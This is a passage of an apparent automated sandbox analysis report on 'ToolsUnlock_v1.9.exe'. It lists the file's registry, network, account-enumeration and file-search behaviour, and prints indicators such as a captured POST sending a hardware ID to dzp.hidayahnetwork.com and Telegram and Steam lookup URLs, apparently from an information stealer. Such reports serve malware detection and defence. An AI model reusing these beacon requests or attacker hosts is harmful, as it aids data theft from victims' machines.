Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "")41:Taae,"ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "ToolsUnlock_v1.9.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "")42:T423,"ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\FLTLIB.DLL" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\CRYPTBASE.DLL" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\WININET.DLL" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\wininet.dll" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\BCRYPT.DLL" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\bcrypt.dll" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\SSPICLI.DLL" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\SspiCli.dll" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\iertutil.dll" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\URLMON.DLL" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\urlmon.dll" "ToolsUnlock_v1.9.exe" trying to access non-existent file "C:\DPAPI.DLL"43:T5c9,file/memory contains long string with (Indicator: "WSARecv"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "WSASend"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSARecv" (Indicator: "WSARecv"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSARecvFrom" (Indicator: "WSARecv"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSASendTo" (Indicator: "WSASend"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSARecv" (Indicator: "WSARecv"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSASendTo" (Indicator: "WSASend"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")44:Tb3b,file/memory contains long string with (Indicator: "WSARecv"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "WSASend"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSARecv" (Indicator: "WSARecv"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSARecvFrom" (Indicator: "WSARecv"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSASendTo" (Indicator: "WSASend"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; File: "ToolsUnlock_v1.9.exe") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procWSARecv" (Indicator: "WSARecv"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSASend" (Indicator: "WSASend"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSASendTo" (Indicator: "WSASend"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "17723791074,6868,3237,,InternetReadFile,Wininet.dll,"00:35:40.562",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp")45:T4c5,Found string "POST / HTTP/1.1Host: dzp.hidayahnetwork.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdgCache-Control: no-cacheContent-Length: 254------h0CQzFBu9J3Nbroc3pdgContent-Disposition: form-data; name="hwid"266B994DEC02057C6F4E-d27478a5-2058------h0CQzFBu9J3Nbroc3pdgContent-Disposition: form-data; name="build_id"0fd283fb7aad3c007cceb5af76ee0633------h0CQzFBu9J3Nbroc3pdg--"; File: "PCAP") Found string "Content-Disposition: form-data; name="hwid""; Source: "00000000-00006184.00000001.136997.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "Content-Disposition: form-data; name="build_id""; Source: "00000000-00006184.00000001.136997.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "Content-Type: multipart/form-data; boundary=----%s"; Source: "00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found string "Content-Type: multipart/form-data; boundary=----h0CQzFBu9J3Nbroc3pdg"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp")46:T46d,file/memory contains long string with (Indicator: "wsastartup"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "wsacleanup"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "gethostbyname"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: " send "; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSACleanup" (Indicator: "wsacleanup"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSAStartup" (Indicator: "wsastartup"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procgethostbyname" (Indicator: "gethostbyname"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procWSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procWSAStartup" (Indicator: "wsastartup"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procgethostbyname" (Indicator: "gethostbyname"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")47:T1b0d,Heuristic match: "*runtime.name" Heuristic match: "%p<.mr" Heuristic match: "}(p:.hr" Heuristic match: "%p2.mr" Heuristic match: "_(p\.hr" Heuristic match: "v%pe.mr" Heuristic match: "m(pj.hr" Heuristic match: "telegram.me" Heuristic match: "dzp.hidayahnetwork.com" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.name.name" Heuristic match: "runtime.(*functype).in" Heuristic match: "internal/reflectlite.name.name" Heuristic match: "reflect.name.name" Heuristic match: "unicode.cc" Heuristic match: "unicode.cf" Heuristic match: "unicode.co" Heuristic match: "unicode.mc" Heuristic match: "unicode.me" Heuristic match: "unicode.mn" Heuristic match: "unicode.nl" Heuristic match: "unicode.no" Heuristic match: "unicode.pe" Heuristic match: "unicode.pf" Heuristic match: "unicode.ps" Heuristic match: "unicode.sc" Heuristic match: "unicode.sk" Heuristic match: "unicode.sm" Heuristic match: "unicode.so" Heuristic match: "unicode.lt" Heuristic match: "unicode.lu" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=om55%2" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=upbyju" Pattern match: "https://telegram.me/hgo9tx" Pattern match: "https://steamcommunity.com/profiles/76561198707628078" Pattern match: "telegram.me/hgo9tx" Heuristic match: "elegram.me" Heuristic match: "am.me" Heuristic match: "ram.me" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "hosttelegram.me" Heuristic match: "zp.hidayahnetwork.com" Heuristic match: "idayahnetwork.com" Heuristic match: "ntrust.net" Heuristic match: "hostdzp.hidayahnetwork.com" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=upbyjup46yun954kq8j2mid6uutvryh6o3znxmm9xiwnoplz9glazhlyzoqfj1fihp%2fknfzzf%2fek5ve7npzfbxkzagz4af4g3ny9u0s8jhmohvjxanjm4aheb7hbpabidk%2buiz2eeqfs" Heuristic match: "hidayahnetwork.com" Heuristic match: "*.hidayahnetwork.com" Heuristic match: "*.telegram.me" Pattern match: "https://web.telegram.org" Pattern match: "https://t.me/hgo9tx" Pattern match: "telegram.org/img/website_icon.svg?4" Pattern match: "telegram.org/img/apple-touch-icon.png" Pattern match: "telegram.org/img/favicon-32x32.png" Pattern match: "telegram.org/img/favicon-16x16.png" Pattern match: "telegram.org/img/favicon.ico" Pattern match: "telegram.org/css/font-roboto.css?1" Pattern match: "telegram.org/css/bootstrap.min.css?3" Pattern match: "telegram.org/css/telegram.css?249" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "telegram.org/dl?tme=814c2e01265d22b69f_12057750843775826685" Pattern match: "telegram.org/js/tgwallpaper.min.js?3" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=om55%2br9kfs%2bu6va7%2bckfyb7rz9b5lp6p%2fbd" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Heuristic match: "host: dzp.hidayahnetwork.com" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1$0" Pattern match: "oft.com/pki/" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "https://dzp.hidayahnetwork.com/" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Heuristic match: ".hidayahnetwork.com" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "il.cv" Heuristic match: "osoft.co"48:Tc19,Found URL "https://telegram.me/hgo9txm1m1y6mozilla/5.0" - Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198707628078m1m1y6mozilla/5.0" - Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp") Found URL "http://https://https://https://0fd283fb7aad3c007cceb5af76ee0633/0mz2gd)6bmch3v1http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006184.00000001.136997.F7F90000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006184.00000001.136997.F7F90000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=upbyjup46yun954kq8j2mid6uutvryh6o3znxmm9xiwnoplz9glazhlyzoqfj1fihp%2fknfzzf%2fek5ve7npzfbxkzagz4af4g3ny9u0s8jhmohvjxanjm4aheb7hbpabidk%2buiz2eeqfs" - Source: "00000000-00006184.00000001.136997.F7F90000.00000004.mdmp")49:T408,Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found string "GET /hgo9tx HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp") Found string "User-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0GET /hgo9tx HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp") Found string "POST / HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "Content-Length254POST / HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "HTTP/1.1v" (Indicator: "HTTP/1.1"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp")4a:T9cc,Found registry query API: "RegOpenKey (in long string)" in file "ToolsUnlock_v1.9.exe" Found registry query API: "RegQueryValue (in long string)" in file "ToolsUnlock_v1.9.exe" Found registry query API: "syscall.procRegEnumKeyExW" in file "ToolsUnlock_v1.9.exe" Found registry query API: "syscall.procRegOpenKeyExW" in file "ToolsUnlock_v1.9.exe" Found registry query API: "syscall.procRegQueryInfoKeyW" in file "ToolsUnlock_v1.9.exe" Found registry query API: "syscall.procRegQueryValueExW" in file "ToolsUnlock_v1.9.exe" Found registry query API: "RegQueryValueExARegQueryValueExWSSSSSSSSSSSSSSSS" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "RegGetValueW" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp" Found registry query API: "syscall.procRegEnumKeyExW" in "00000000-00006184.00000001.136997.01931000.00000002.mdmp" Found registry query API: "syscall.procRegOpenKeyExW" in "00000000-00006184.00000001.136997.01931000.00000002.mdmp" Found registry query API: "syscall.procRegQueryInfoKeyW" in "00000000-00006184.00000001.136997.01931000.00000002.mdmp" Found registry query API: "syscall.procRegQueryValueExW" in "00000000-00006184.00000001.136997.01931000.00000002.mdmp"4b:Tc07,file/memory contains long string with (Indicator: "GetUserName"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "LookupAccountName"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetTokenInformation" (Indicator: "GetTokenInformation"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procLookupAccountNameW" (Indicator: "LookupAccountName"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procLookupAccountSidW" (Indicator: "LookupAccountSid"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procNetGetJoinInformation" (Indicator: "NetGetJoinInformation"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procNetUserGetInfo" (Indicator: "NetUserGetInfo"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procGetUserNameExW" (Indicator: "GetUserName"; File: "ToolsUnlock_v1.9.exe") Found reference to API "NtQueryObject" (Indicator: "NtQueryObject"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API "syscall.procGetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procLookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procLookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procNetGetJoinInformation" (Indicator: "NetGetJoinInformation"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procNetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found reference to API "syscall.procGetUserNameExW" (Indicator: "GetUserName"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp")4c:T61a,file/memory contains long string with (Indicator: "aes"; File: "ToolsUnlock_v1.9.exe") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "ToolsUnlock_v1.9.exe") Found string "aeshashbody" (Indicator: "aes"; File: "ToolsUnlock_v1.9.exe") Found string "runtime.useAeshash" (Indicator: "aes"; File: "ToolsUnlock_v1.9.exe") Found string "runtime.aeskeysched" (Indicator: "aes"; File: "ToolsUnlock_v1.9.exe") Found string "aeshashbody" (Indicator: "aes"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found string "runtime.useAeshash" (Indicator: "aes"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found string "runtime.aeskeysched" (Indicator: "aes"; Source: "00000000-00006184.00000001.136997.01931000.00000002.mdmp") Found string "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256" (Indicator: "aes"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.F7F90000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "t Enhanced RSA and AES Crypt" (Indicator: "aes"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.F7F90000.00000004.mdmp")4d:T5d5,file/memory contains long string with (Indicator: "FindNextFile"; File: "ToolsUnlock_v1.9.exe") file/memory contains long string with (Indicator: "FindFirstFile"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procFindFirstFileW" (Indicator: "FindFirstFile"; File: "ToolsUnlock_v1.9.exe") Found reference to API "syscall.procFindNextFileW" (Indicator: "FindNextFile"; File: "ToolsUnlock_v1.9.exe") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp") Found reference to API 